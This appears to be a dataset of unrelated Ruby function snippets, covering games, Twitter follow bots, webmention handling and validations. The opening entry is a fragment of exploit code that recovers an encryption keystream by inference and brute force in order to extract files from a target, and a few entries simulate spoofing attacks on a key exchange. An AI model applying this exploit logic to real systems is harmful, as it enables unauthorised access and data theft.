target_offset_range.each do |x|\r\n index = buffer_head\r\n\r\n while index != buffer_tail do\r\n next_index = (index + 1) % 4\r\n\r\n # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same\r\n # observations as well while being constant in at least one previous or subsequent observation\r\n if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))\r\n target_offset_range.delete(x)\r\n inference_results[x] = xor_strings(getsin_observation[index][x], '9')\r\n break\r\n end\r\n index = next_index\r\n end\r\n end\r\n\r\n # Update circular buffer head & tail\r\n buffer_tail = (buffer_tail + 1) % 4\r\n # Move head to right once tail wraps around, discarding oldest item in circular buffer\r\n if buffer_tail == buffer_head\r\n buffer_head = (buffer_head + 1) % 4\r\n end\r\n end\r\n\r\n # Inferrence attack done, reconstruct final keystream segment\r\n inf_seg = [\"\\x00\"] * (keystream.length + missing_bytecount)\r\n inferrence_results.each do |x, val|\r\n inf_seg[x] = val\r\n end\r\n\r\n inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join\r\n missing_bytecount = brute_max\r\n end\r\n\r\n if missing_bytecount > brute_max\r\n print_status(\"Improper keystream recovery ...\")\r\n return nil\r\n end\r\n\r\n print_status(\"Initiating brute force ...\")\r\n\r\n # Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)\r\n charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']\r\n char_range = missing_bytecount.times.map { charset }\r\n char_range.first.product(*char_range[1..-1]) do |x|\r\n p = x.join\r\n candidate_plaintext = getsin_kp + p\r\n candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment\r\n filedata = try_exploit(exploit_string, candidate_keystream, true)\r\n\r\n if !filedata.nil?\r\n return filedata\r\n end\r\n end\r\n return nil\r\n end\r\n\r\n try_exploit(exploit_string, keystream, false)\r\n end",
"def follow_users\n puts \"Are you sure you want to follow ALL of the unique users of #{@other_user.strip}? Y/N\"\n @decision = gets\n\n case @decision.strip\n when \"Y\"\n @unique_user_ids.each do |followerId|\n @follow_user = Twitter.user(followerId)\n begin\n Twitter.follow(followerId)\n rescue Twitter::Error::TooManyRequests => error\n puts \"Oops, we are rate limited. We will try again at: #{Time.now + error.rate_limit.reset_in + 5}\"\n sleep error.rate_limit.reset_in + 5\n retry\n rescue Twitter::Error::ServiceUnavailable => error\n sleep(10)\n retry\n rescue Twitter::Error::NotFound => error\n puts \"Sorry something went wrong. #{error}\"\n next\n else \n puts \">>> followed followerID #{@follow_user.screen_name}\"\n end\n sleep(1)\n end\n when \"N\"\n puts \"Ok, well that was a waste of time.\"\n else\n puts \"Something went wrong here. Start over.\"\n end\nend",
"def execute actor, target=[nil]\n def himher thing\n multiple = thing.count > 1 \n\n if multiple \n return \"them\"\n end\n\n case thing[0]\n when Player then \"him\"\n when ItemFacade then \"it\"\n else \"\"\n end\n end\n room_msg, self_msg, vict_msg = @ofound.dup, @found.dup, @tfound.dup\n\n\n if target.include?(actor) # if they're the same person then it's an auto\n target = [actor]\n room_msg = @oauto.dup\n self_msg = @auto.dup\n vict_msg = nil\n elsif target[0] == nil\n room_msg = @onoarg.dup\n self_msg = @noarg.dup\n vict_msg = nil\n end\n room_msg.gsub!(\"$n\", \"<%=other.peek(actor)%>\")\n room_msg.gsub!(\"$N\", \"<%=other.peek(if arg[0].include?(other) then arg[0]-[other]+['You'] else arg[0] end)%>\")\n room_msg.gsub!(\"$m\", himher([actor]))\n room_msg.gsub!(\"$M\", himher(target))\n\n self_msg.gsub!(\"$M\", himher(target))\n self_msg.gsub!(\"$m\", himher([actor]))\n if target\n self_msg.gsub!(\"$N\", actor.peek(target))\n end\n actor.view(\"#G\"+self_msg+\"#n\" + ENDL)\n \n room_msg.untaint\n if target[0]\n if target.count > 1 \n actor.in_room.display([:visual, \"other.can_see?(actor) || other.can_see?(arg[0])\"], actor, [actor], \"#G\"+room_msg+\"#n\", target)\n else\n actor.in_room.display([:visual, \"other.can_see?(actor) || other.can_see?(arg[0])\"], actor, [actor, *target], \"#G\"+room_msg+\"#n\", target)\n target.each do |one_targ|\n vm = vict_msg.dup\n vm.gsub!(\"$n\", one_targ.peek(actor))\n one_targ.view(\"#G\"+vm+ \"#n\" + ENDL)\n end\n end\n else\n puts room_msg\n actor.in_room.display([:visual, \"other.can_see?(actor)\"], actor, [actor], \"#G\"+room_msg+\"#n\", \"\")\n end\n end",
"def process_mention(username, source, target, protocol, token, code=nil)\n @redis = Redis.new :host => SiteConfig.redis.host, :port => SiteConfig.redis.port\n\n target_account = Account.first :username => username\n if target_account.nil?\n error = 'target_not_found'\n error_status token, source, target, protocol, error\n return nil, error\n end\n if source == target\n error = 'invalid_target'\n error_status token, source, target, protocol, error\n return nil, error\n end\n\n #puts \"Verifying link exists from #{source} to #{target}\"\n\n begin\n target_uri = URI.parse(URI.escape(target))\n target_domain = target_uri.host\n rescue\n error = 'invalid_target'\n error_status token, source, target, protocol, error, 'target could not be parsed as a URL'\n return nil, error\n end\n\n if target_domain.nil?\n error = 'invalid_target'\n error_status token, source, target, protocol, error, 'target domain was empty'\n return nil, error\n end\n\n begin\n source_uri = URI.parse(URI.escape(source))\n rescue\n error = 'invalid_source'\n error_status token, source, target, protocol, error, 'source could not be parsed as a URL'\n return nil, error\n end\n\n # Check that the domain is not blocked\n block = target_account.blocks.first({domain: source_uri.host})\n if !block.nil?\n error = 'blocked'\n error_status token, source, target, protocol, error, 'source domain is blocked'\n return nil, error\n end\n\n # Check that the source URL is not in the blocklist\n site = Site.first :account => target_account, :domain => target_domain\n if !site.nil?\n bl = Blocklist.first :site => site, :source => source\n if !bl.nil?\n error = 'blocked'\n error_status token, source, target, protocol, error, 'source URL is blocked'\n return nil, error\n end\n end\n\n source_data = nil\n\n # Private Webmentions\n if code\n puts \"Trying to obtain an access token for the private webmention...\"\n access_token = XRay.get_access_token source, code\n if access_token\n if access_token.class == XRayError\n error_status token, source, target, protocol, access_token.error, access_token.error_description\n return nil, access_token.error\n elsif access_token['access_token']\n puts \"\\taccess token: #{access_token['access_token']}\"\n source_data = XRay.parse source, target, false, access_token['access_token']\n end\n else\n error = 'access_token_error'\n error_status token, source, target, protocol, error, 'Error obtaining an access token, no access token returned.'\n return nil, error\n end\n else\n source_data = XRay.parse source, target\n end\n\n\n if source_data.nil?\n error = 'invalid_source'\n error_status token, source, target, protocol, error, 'Error retrieving source. No result returned from XRay.'\n return nil, error\n end\n\n\n debug = Debug.all(:page_url => target, :enabled => true) | Debug.all(:domain => target_domain, :enabled => true)\n if debug.count > 0\n puts \"Debug enabled for #{target}\"\n filename = File.join(File.expand_path(File.dirname(__FILE__)), '../debug.log')\n log = Logger.new(filename)\n log.debug \"===================================================\"\n log.debug \"Webmention from #{source} to #{target}\"\n log.debug source_data.to_json\n begin\n # Fetch the content and write it to the log\n debug_content = HTTParty.get source\n log.debug debug_content.response.body\n rescue => e\n end\n end\n\n\n if source_data.class == XRayError\n if source_data.error != \"no_link_found\"\n # Don't log these errors\n puts \"\\tError retrieving source: #{source_data.error} : #{source_data.error_description}\"\n end\n\n # Check for an existing post that has been deleted\n site = Site.first :account => target_account, :domain => target_domain\n if site\n page = Page.first :site => site, :href => target\n if page\n link = Link.first :page => page, :href => source\n if link\n # This webmention was previously received, but now was deleted, so delete from the DB\n link.destroy\n\n # And respond with a success\n WebmentionProcessor.update_status @redis, token, {\n :status => 'deleted',\n :source => source,\n :target => target,\n :private => link.is_private,\n }\n\n WebHooks.deleted site, source, target, (code ? true : false)\n\n return nil, 'deleted'\n end\n end\n end\n\n error_status token, source, target, protocol, source_data.error, source_data.error_description\n return nil, source_data.error\n end\n\n\n\n\n site = Site.first_or_create :account => target_account, :domain => target_domain\n\n puts \"Processing... s=#{source} t=#{target}\"\n\n\n debug = Debug.all(:page_url => target, :on_success => true) | Debug.all(:domain => target_domain, :on_success => true)\n if debug.count > 0\n puts \"Debug success enabled for #{target}\"\n filename = File.join(File.expand_path(File.dirname(__FILE__)), '../debug.log')\n log = Logger.new(filename)\n log.debug \"===================================================\"\n log.debug \"Webmention successful from #{source} to #{target}\"\n log.debug source_data.to_json\n begin\n # Fetch the content and write it to the log\n debug_content = HTTParty.get source\n log.debug debug_content.response.body\n rescue => e\n end\n end\n\n\n # If the page already exists, use that record. Otherwise create it and find out what kind of object is on the page.\n # This currently uses the Ruby mf2 parser to parse the target URL\n page = create_page_in_site site, target\n\n link = Link.first_or_create({:page => page, :href => source}, {:site => site, :account => site.account, :domain => source_uri.host})\n\n link.protocol = protocol\n\n already_registered = link[:verified]\n\n # Parse for microformats and look for \"like\", \"invite\", \"rsvp\", or other post types\n parsed = false\n source_is_bridgy = source.start_with? 'https://www.brid.gy/', 'https://brid.gy', 'https://brid-gy.appspot.com/'\n\n begin\n add_author_to_link source_data, link\n add_mf2_data_to_link source_data, link\n\n # Detect post type (reply, like, reshare, RSVP, mention) and silo and\n # generate custom notification message.\n url = !link.url.blank? ? link.url : source\n\n set_type source_data, link, source, target\n rescue => e\n # Ignore errors trying to parse for upgraded microformats\n puts \"Error while parsing microformats #{e.message}\"\n puts e.backtrace\n end\n\n WebHooks.notify site, link, source, target, (code ? true : false)\n\n if !site.account.aperture_uri.empty?\n begin\n puts \"Posting to Aperture\"\n\n aperture_data = source_data\n\n # override if XRay parsing failed\n aperture_data['url'] = source if (aperture_data['url'].nil? or aperture_data['url'].empty?)\n aperture_data['published'] = DateTime.now.to_s if (aperture_data['published'].nil? or aperture_data['published'].empty?)\n\n # this might need to change to something more specific to indicating why the webmention is relevant\n aperture_data['in-reply-to'] = [target] if (aperture_data['in-reply-to'].nil? or aperture_data['in-reply-to'].empty?)\n\n puts aperture_data.to_json\n\n puts RestClient.post site.account.aperture_uri, aperture_data.to_json, {\n :Authorization => \"Bearer #{site.account.aperture_token}\",\n :'Content-Type' => 'application/jf2+json'\n }\n rescue => e\n # ignore errors sending to Aperture\n end\n end\n\n puts \"\\tfinished #{token}\"\n\n link.token = token\n link.verified = true\n\n # If a code was sent with the webmention, record that the post is private\n link.is_private = code ? true : false\n\n link.save\n\n WebmentionProcessor.update_status @redis, token, {\n :status => 'success',\n :source => source,\n :target => target,\n :private => link.is_private,\n :data => Formats.build_jf2_from_link(link)\n }\n\n WebmentionProcessor.stats_count @redis, token, protocol, 'success'\n\n return link, 'success'\n end",
"def witcher; end",
"def atk\n apply_param_limiter(super + party_gift(:atk) + spirit_attack)\n end",
"def unfollow_test\n unf_ids = params[:unfollow]\n \n unf_str = \"\"\n unf_cnt = unf_ids.length - 1\n for i in 0..unf_cnt\n unf_str +=unf_ids[i].to_s\n unf_str += \",\" unless unf_cnt == i\n end\n \n params_before_encode = [\n [\"user_id\",unf_str],\n [\"include_entities\",\"true\"]\n ]\n request_before_encode = [\n [\"http_method\",\"POST\"],\n [\"base_url\",\"http://api.twitter.com/1/friendships/destroy.json\"]\n ]\n header_string = buildheader(params_before_encode,request_before_encode)\n #puts header_string\n request = Typhoeus::Request.new(\"http://api.twitter.com/1/friendships/destroy.json\",\n :method =>\"post\",\n :headers =>{\"Authorization\" => header_string},\n :params =>{:user_id=>unf_str, :include_entities=>\"true\"})\n hydra = Typhoeus::Hydra.new\n hydra.queue(request)\n hydra.run \n end",
"def follower_entities\n player_pokemon = in_lets_go_mode? ? player_pokemon_lets_go_entity : player_pokemon_entities\n return human_entities.concat(player_pokemon).concat(other_pokemon_entities)\n end",
"def user_is_not_following_themselves\r\n if follower_id == followed_user_id\r\n errors.add(:base, \"Users cannot follow themselves\")\r\n end\r\nend",
"def hermes_catchphrase; end",
"def check_forwards()\n if !@warrior.feel.empty?\n if !@warrior.feel.captive?\n @warrior.attack!\n else\n @warrior.rescue!\n end\n else\n @warrior.walk!\n end\n end",
"def log_to_followers\n depositor.followers.select { |user|\n user.can?(:read, collection)\n }.each do |follower|\n follower.log_event(event)\n end\n end",
"def unfollow\n if request.post?\n @unf_ids = params[:unfollow]\n \n #unf_str = \"\"\n #unf_cnt = unf_ids.length - 1\n #for i in 0..unf_cnt\n # unf_str +=unf_ids[i].to_s\n # unf_str += \",\" unless unf_cnt == i\n #end\n if @unf_ids.nil? || @unf_ids.length < 1\n else\n @unf_ids.each do |unfo| \n hydra = Typhoeus::Hydra.new\n uri = \"http://api.twitter.com/1/friendships/destroy.json\"\n req = Typhoeus::Request.new(uri,\n :method =>\"post\",\n :params =>{:user_id=>unfo, :include_entities=>\"true\"})\n \n sign_request(req,uri)\n hydra.queue(req)\n hydra.run\n #puts req.response.inspect\n end\n end\n end\n respond_to do |format|\n format.js\n end\n end",
"def soft_ace\n # softy method refactor for when an ace is played\nend",
"def follow(other_user)\n following << other_user unless self == other_user\n end",
"def follow!(user)\n\t\tfollowed << user \n\tend",
"def followerss\n followers = relationships.find_by_followed_id(self.id)\n return followers\n end",
"def spoofing_attack!\n setup_nodes(A, B, SpoofedC)\n\n key_agreement\n\n puts \"A has key: #{@a.key!}\"\n puts \"B has key: #{@b.key!}\"\n puts \"Spoofed C has key: #{@c.key!}\"\n\n @a.secure_send \"My credit card number is 1234567890123456\"\n puts \"B received: #{@b.msg}\"\n puts \"The attacker eavesdropped: #{@c.msg}\"\n end",
"def attack()\r\n @warrior.attack!\r\n end",
"def attack()\r\n @warrior.attack!\r\n end",
"def unfollow\n return render_404 if params[:type].blank? or params[:id].blank? or params[:key].blank?\n email = Encoder.decode(params[:key])\n return render_404 if email.blank?\n\n Unfollower.create(:email => email, \n :unfollowerable_type => params[:type].capitalize, \n :unfollowerable_id => params[:id].to_i)\n \n render :text => \"你已经成功退定.\"\n end",
"def test_consumes_a_victim\n werewolf = Werewolf.new(\"Josh\")\n victim = Victim.new\n assert_equal :alive, victim.status\n assert_equal 0, werewolf.victims\n werewolf.change!\n werewolf.feed(victim)\n assert_equal 1, werewolf.victims\n assert_equal :dead, victim.status\n\n end",
"def doPreprocess(followersIds)\n end",
"def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end",
"def reply_pos\n puts 'aw yeah!!!!'\n # byebug\n # we've got user from cookie\n # we're passing in the 2nd user from follow_params[:user2]\n ret_errors=[]\n half_follow_a = Follow.new(follower_id: decode_jwt(cookies.signed[:jwt])[\"user_id\"], followee_id: follow_params[:user2])\n if !half_follow_a.save\n ret_errors.push(\"Failure in the first half of follow. \")\n end\n\n if !!ret_errors\n render json: {ret_errors: ret_errors}\n else\n render json: {friend_request: \"friendship established\"}\n end\n end",
"def peacekeeper_quest; end",
"def followers\n if @activity.user_type == 'User' && @activity.key == 'vote.create'\n ids = (@actor.followers_ids.union(@activity.recipient.voters_ids) - [@activity.recipient_user.id.to_s])\n elsif @activity.user_type == 'School'\n ids = (@actor.followers_ids.union(@activity.recipient.followers_ids) + @actor.users.pluck(:id).map(&:to_s) - [@activity.recipient_user.id.to_s])\n else\n ids = (@actor.followers_ids.members - [@activity.recipient_user.id.to_s])\n end\n User.find(ids.uniq)\n end",
"def list_follow(response)\n user_name = response.user.andand.name\n response.reply \"#{response.user.name}, list for '#{user_name}': #{list_spam(nil, user_name)}\"\n rescue Error => e\n log.error e.inspect\n log.error response.inspect\n response.reply \"#{response.user.name}, #{e}\"\n end",
"def user_name_follows_rules\n #start\n #@user_name = params[:user_name]\n return true\n end",
"def attacks(player)\n \tputs \"Le joueur #{@name} attaque le joueur #{player.name}\"\n \tdamage = compute_damage\n \tputs \"Il lui inflige #{damage} points de dommage\"\n \tplayer.gets_damage(damage)\n end",
"def unfollow\n return render_404 if params[:type].blank? or params[:id].blank? or params[:key].blank?\n email = Encoder.decode(params[:key])\n return render_404 if email.blank?\n\n Unfollower.create(:email => email, \n :unfollowerable_type => params[:type].capitalize, \n :unfollowerable_id => params[:id].to_i)\n \n render :text => \"You have successfully set back.\"\n end",
"def exploit\n end",
"def send_early_hints(links); end",
"def followers\n @hot_topics = Topic.hot_topics(5)\n @interviewee = User.where(:nickname => params[:id]).first\n @is_same_user = @interviewee.is_same_user?(@current_user)\n \n @followers = @interviewee.followers\n @current_user.refresh_notifications(\"new_followers_count\")\n end",
"def follow!(user)\n\t\tfollowed << user\n\tend",
"def attacks (player)\n damage = compute_damage\n\n puts \">>> Le joueur #{self.name} attaque le joueur #{player.name}\"\n\n puts \">>> Il lui inflige #{damage} points de dommages\"\n\n # Give damages to the \"player\" in argument\n player.gets_damage(damage)\n end",
"def attacks(player)\n puts \"#{@name} attaque #{player.name}\"\n damage = compute_damage\n puts \" il lui inflige #{damage} points dommages\"\n player.gets_damage(damage)\n end",
"def _fight(p1, p2, context)\n msg = context[:msg]\n \n \n \n msg += line \"<div> 战斗开始!</div>\"\n \n # calculate temporary fight prop\n # p1.tmp[:apply_damage] = p1.query_weapon_damage\n # p1.tmp[:apply_dodge] = 0-p1.query_all_weight\n # p1.tmp[:apply_defense] = p1.query_armo_defense \n \n \n \n calc_apply_var(p1)\n p \"====>p1 load: #{p1.tmp[:apply_dodge]} damage:#{p1.tmp[:apply_damage]} defense:#{p1.tmp[:apply_defense] }\"\n calc_apply_var(p2)\n p \"====>p2 load: #{p2.tmp[:apply_dodge]} damage:#{p2.tmp[:apply_damage]} defense:#{p2.tmp[:apply_defense] }\"\n \n # calculate who attach first \n # TODO need improve\n if (p1.query_temp(\"dext\")+p1.tmp[:apply_dodge] > p1.query_temp(\"dext\")+p2.tmp[:apply_dodge])\n attacker = p1\n #attacker_gain = gain_p1\n defenser = p2\n # defenser_gain = gain_p2\n else\n attacker = p2\n #attacker_gain = gain_p2\n defenser = p1\n #defenser_gain = gain_p1\n end\n \n p \"attacker is #{attacker.name}\"\n msg += translate_msg(line(\"<div>$N抢先发动进攻!</div>\"), {:user=>attacker, :target=>defenser})\n \n \n # what weapon attacker is wielding\n hand_right_weapon = p1.query_wearing(\"handright\")\n hand_left_weapon = p1.query_wearing(\"handleft\")\n p1.tmp[:right_hand_weapon] = hand_right_weapon\n p1.tmp[:left_hand_weapon] = hand_left_weapon\n p \"=>righthand weapons #{hand_right_weapon}\"\n p \"=>lefthand weapons #{hand_left_weapon}\"\n # defaut is unarmed\n weapon_skill_type = 'unarmed'\n if (hand_right_weapon)\n weapon_skill_type = hand_right_weapon.skill_type\n p1.tmp[:main_weapon] = hand_right_weapon\n \n elsif hand_left_weapon\n weapon_skill_type = hand_left_weapon.skill_type\n p1.tmp[:main_weapon] = hand_left_weapon\n end\n \n=begin\n reg = /unarmed/i\n if (hand_right_weapon)\n weapon_type = hand_right_weapon.type\n reg = Regexp.new(\"#{weapon_type}\", true)\n end\n=end \n context_p1 = {\n :user => p1,\n :thisskill => nil,\n :skills=>p1.query_all_skills,\n :target => p2\n }\n # attacker choose the best dodge skill\n p1[:dodge_skill] = choosBestDodgeSkill(context_p1)\n # attacker choose the skill have best damage\n p1[:attack_skill] = choosBestAttackSkill(context_p1, weapon_skill_type)\n # attacker choose best defense skill\n p1[:defense_skill] = choosBestDefenseSkill(context_p1, weapon_skill_type)\n \n # choose perform for p1\n skill_types = []\n if p1.tmp[:left_hand_weapon]\n skill_types.push(p1.tmp[:left_hand_weapon].skill_type)\n else\n skill_types.push(\"unarmed\")\n end\n if p1.tmp[:right_hand_weapon]\n skill_types.push(p1.tmp[:right_hand_weapon].skill_type)\n else\n skill_types.push(\"unarmed\") if !skill_types.include?\"unarmed\"\n end\n p1.tmp[:perform] = chooseBestPerform(p1, skill_types)\n \n \n \n \n # choose skills for deffenser\n hand_right_weapon = p2.query_wearing(\"handright\")\n hand_left_weapon = p2.query_wearing(\"handleft\")\n p2.tmp[:right_hand_weapon] = hand_right_weapon\n p2.tmp[:left_hand_weapon] = hand_left_weapon\n p \"=>#{defenser.name} righthand weapons #{hand_right_weapon}\"\n p \"=>#{defenser.name} lefthand weapons #{hand_left_weapon}\"\n # defaut is unarmed\n weapon_skill_type = 'unarmed'\n if (hand_right_weapon)\n weapon_skill_type = hand_right_weapon.skill_type\n p2.tmp[:main_weapon] = hand_right_weapon\n elsif hand_left_weapon\n weapon_skill_type = hand_left_weapon.skill_type\n p2.tmp[:main_weapon] = hand_left_weapon\n end\n context_p2 = {\n :user => p2,\n :thisskill => nil,\n :skills=>p2.query_all_skills,\n :target => p1\n }\n # defenser choose the best dodge skill\n p2[:dodge_skill] = choosBestDodgeSkill(context_p2)\n # defenser choose the skill have best damage\n p2[:attack_skill] = choosBestAttackSkill(context_p2, weapon_skill_type)\n # defenser choose best defense skill\n p2[:defense_skill] = choosBestDefenseSkill(context_p2, weapon_skill_type) \n \n # choose perform for p2\n skill_types = []\n if p2.tmp[:left_hand_weapon]\n skill_types.push(p2.tmp[:left_hand_weapon].skill_type)\n else\n skill_types.push(\"unarmed\")\n end\n if p2.tmp[:right_hand_weapon]\n skill_types.push(p2.tmp[:right_hand_weapon].skill_type)\n else\n skill_types.push(\"unarmed\") if !skill_types.include?\"unarmed\"\n end\n p2.tmp[:perform] = chooseBestPerform(p2, skill_types)\n \n \n gain_p1 = {\n :exp =>0,\n # :hp =>0,\n # :stam =>0,\n :pot => 0,\n :level =>0,\n :skills =>{\n p1[:dodge_skill][:skill][:skname] =>\n {\n :skill => p1[:dodge_skill][:skill][:skname],\n :point => 0,\n :level => 0,\n :dname =>p1[:dodge_skill][:skill].dname\n },\n p1[:attack_skill][:skill][:skname] =>\n {\n :skill => p1[:attack_skill][:skill][:skname],\n :point => 0,\n :level => 0,\n :dname =>p1[:attack_skill][:skill].dname\n },\n p1[:defense_skill][:skill][:skname]=>\n {\n :skill => p1[:defense_skill][:skill][:skname],\n :point => 0,\n :level => 0,\n :dname =>p1[:defense_skill][:skill].dname\n }\n }\n }\n gain_p2 = {\n :exp =>0,\n # :hp =>0,\n # :stam =>0,\n :pot => 0,\n :level =>0,\n :skills =>{\n p2[:dodge_skill][:skill][:skname] =>\n {\n :skill => p2[:dodge_skill][:skill][:skname],\n :point => 0,\n :level => 0,\n :dname =>p2[:dodge_skill][:skill].dname\n },\n p2[:attack_skill][:skill][:skname] =>\n {\n :skill => p2[:attack_skill][:skill][:skname],\n :point => 0,\n :level => 0,\n :dname =>p2[:attack_skill][:skill].dname\n },\n p2[:defense_skill][:skill][:skname]=>\n {\n :skill => p2[:defense_skill][:skill][:skname],\n :point => 0,\n :level => 0,\n :dname =>p2[:defense_skill][:skill].dname\n }\n }\n }\n p \"==>gain.skill #{gain_p1.inspect}\"\n p \"==>gain.skill #{gain_p2.inspect}\"\n # context[:gain_p1] = gain_p1\n # context[:gain_p2] = gain_p2\n p1[:gain] = gain_p1\n p2[:gain] = gain_p2\n \n if (attacker == p1)\n attacker_gain = gain_p1\n defenser_gain = gain_p2\n else\n attacker_gain = gain_p2\n defenser_gain = gain_p1\n end\n \n p1.tmp[:willperform]=0\n p2.tmp[:willperform]=0\n\n \n srand(Time.now.tv_usec.to_i)\n i = 0\n style_c = \"user\"\n \n # show status\n msg += status_lines(attacker, defenser)\n \n winner = nil\n=begin\n while (i < 100 ) # max 100 turn\n if style_c == \"user\"\n style_c = \"enemy\"\n else\n style_c = \"user\"\n end\n \n # msg += \"<!--1--><div class=\\\"#{style_c}\\\">\\n#{__fight(attacker, defenser)}\\n</div>\\n\";\n msg += \"\\n<div class=\\\"#{style_c}\\\">\\n#{__fight(attacker, defenser)}</div>\\n\"\n \n \n i = i+1\n \n \n \n if (defenser.tmp[:hp] <=0 )\n msg += line \"<div>#{defenser.name}战斗不能</div>\"\n winner = attacker\n break;\n end\n \n if (defenser.tmp[:stam] <=0 && attacker.tmp[:stam]<=0)\n msg += line \"<div>双方都已经精疲力尽了!</div>\"\n break;\n end\n \n # swap\n t = defenser\n defenser = attacker\n attacker = t\n \n \n \n end #while\n=end \n f_context={\n :style=>style_c,\n :round=>0,\n # :winner=>nil\n }\n msg += __fight(attacker, defenser, f_context)\n i = f_context[:round]\n # winner = f_context[:winner]\n context[:round] = f_context[:round]\n \n if (p1.tmp[:hp] >= 0 and p2.tmp[:hp] >=0) || (p1.tmp[:hp] < 0 and p2.tmp[:hp] <0)\n winner = nil\n elsif p1.tmp[:hp] >=0 \n winner = p1\n else \n winner = p2\n end\n #\n # save to db # TODO should the enemy also save gain ?\n #\n if attacker[:isUser]\n copyExt(attacker)\n end\n if defenser[:isUser]\n copyExt(defenser)\n end\n if (attacker[:canGain])\n receive_gain(attacker, attacker[:gain])\n end\n if (defenser[:canGain])\n receive_gain(defenser, defenser[:gain])\n end\n\n win = 0\n msg += \"<!--1-->\\n<div class='fight_result'><div class='win'>\\n\"\n if !winner\n win = -1\n if attacker[:isUser]\n msg += \"你和#{defenser.name}战成平手!}\"\n elsif defenser[:isUser]\n msg += \"你和#{attacker.name}战成平手!\"\n else\n msg += \"#{attacker.name}和#{defenser.name}战成平手!\"\n end\n else\n if winner == p1\n win = 1\n else\n win = 0\n end\n if (winner[:isUser])\n msg += \"You(#{winner.name}) <span class='f_win'>Win</span> !\"\n elsif (defenser[:isUser])\n msg += \"You(#{defenser.name}) <span class='f_lose'>Lose</span> !\"\n else\n msg += \"#{winner.name} <span class='f_win'>Win</span> !\"\n end\n end\n p attacker.tmp\n msg += \"(in #{i} rounds)</div>\\n\"\n msg += \"</div><!--0-->\"\n if (context[:msg])\n context[:msg] += msg\n else\n context[:msg] = msg\n end\n p context[:msg]\n # return attacker[:isUser]\n # return attacker == p1\n return win\n end",
"def antispoofing_attack!\n setup_nodes(AntispoofingA, AntispoofingB, SpoofedAntispoofingC)\n\n key_agreement\n\n puts \"A has key: #{@a.key!}\"\n puts \"B has key: #{@b.key!}\"\n puts \"Spoofed C has key: #{@c.key!}\"\n\n @a.secure_send \"My credit card number is 1234567890123456\"\n puts \"B received: #{@b.msg}\"\n puts \"The attacker eavesdropped: #{@c.msg}\"\n end",
"def friends_and_followers(username_or_id)\n puts \"Getting Friends and Followers for %s...\" % username_or_id.to_s\n begin\n friend_ids = @MT.friend_ids(username_or_id).ids\n follower_ids = @MT.follower_ids(username_or_id).ids\n { :friends => friend_ids, :followers => follower_ids }\n rescue Twitter::Error::Unauthorized, Twitter::Error::Forbidden\n puts \"Failed for %s (Protected)\" % username_or_id.to_s\n { :friends => [], :followers => [] }\n end\n end",
"def someone_did_kick(stem, kicker, channel, victim, msg)\n end",
"def followers_even_indirectly_count\n Rails.redis.sunion(redis_name__followed_by, user.redis_name__followed_by).count\n end",
"def ensure_follower_not_followed \n if follower_id == followed_id \n errors[:follower_id] << 'cannot follow yourself.'\n end\n\n end",
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def attacks(player)\r\n puts \"#{@name} attaque le joueur #{player.name}\"\r\n player.gets_damage(compute_damage)\r\n end",
"def attacks(attacked_player)\n # puts player1.name \n # print \"attacks\"\n # puts \"#{attacked_player}\"\n attacked_player.gets_damage(compute_damage)\n # puts \"He loses #{compute_damage} points\"\n end",
"def allowFleeing _obj, _args\n \"_obj allowFleeing _args;\" \n end",
"def owner_as_well_as_all_mentioned_users_and_artists_except(user_or_artist_id, user = true)\n participating_users_and_artists = []\n if user && !self.user_id.blank? && user_or_artist_id != self.user_id \n participating_users_and_artists << self.user.mention_name\n elsif !user && !self.artist_id.blank? && !user_or_artist_id == self.artist_id \n participating_users_and_artists << self.artist.mention_name\n elsif !user && !self.user.nil?\n participating_users_and_artists << self.user.mention_name\n elsif user && !self.artist.nil?\n participating_users_and_artists << self.artist.mention_name\n end\n \n self.mentioned_posts.each do |mentioned_post|\n if !mentioned_post.user_id.blank?\n if user\n if !mentioned_post.user.nil? && mentioned_post.user_id != user_or_artist_id\n participating_users_and_artists << mentioned_post.user.mention_name\n end\n else\n participating_users_and_artists << mentioned_post.artist.mention_name unless mentioned_post.artist.nil?\n end\n elsif !mentioned_post.artist_id.blank?\n if !user\n if !mentioned_post.artist.nil? && mentioned_post.artist_id != user_or_artist_id\n participating_users_and_artists << mentioned_post.artist.mention_name\n end\n else\n participating_users_and_artists << mentioned_post.user.mention_name unless mentioned_post.user.nil?\n end\n end\n end\n return participating_users_and_artists \n end",
"def followings\n @hot_topics = Topic.hot_topics(5)\n @interviewee = User.where(:nickname => params[:id]).first\n @is_same_user = @interviewee.is_same_user?(@current_user)\n \n @followings = @interviewee.followings\n end",
"def attacks(player)\n\t\tputs \"#{@name} attaque #{player.name} !\"\n\t\tdamage = compute_damage\n player.gets_damage(damage)\n \n\t\tif player.life_points > 0\n\t\tputs \"#{@name} lui inflige #{damage} points de dommage.\\n\\n\"\n\t\telse \n\t\t\tputs \"Oups, #{player.name} c'est fait décapité...\\n\\n\"\n end\n\n end",
"def getUserToReply\n followers = self::get_followers\n followers[:result][rand(followers[:result].length)]\n end",
"def attacks(victim)\n #AFFICHE LE JOUEUR ATTAQUANT SA VICTIME\n puts \"le joueur #{self.names} attaque le joueur #{victim.names}\"\n\n #DAMAGE_COMPUTED PREND LA VALEUR DU NOMBRE OBTENU ALEATOIREMENT\n damage_computed = compute_damage\n\n #AFFICHE LE NOMBRE DE DOMMAGES INFLIGES\n puts \"il lui inflige #{damage_computed} points de dommages\"\n\n #VICTIM RECOIS LES DOMMAGES\n victim.gets_damage(damage_computed)\n end",
"def counter_attack\n block_or_win(opponent_token)\n end",
"def follow(user)\n self.following << user\n ActionLog.log_other(self.id, \"follow\", user) \n end",
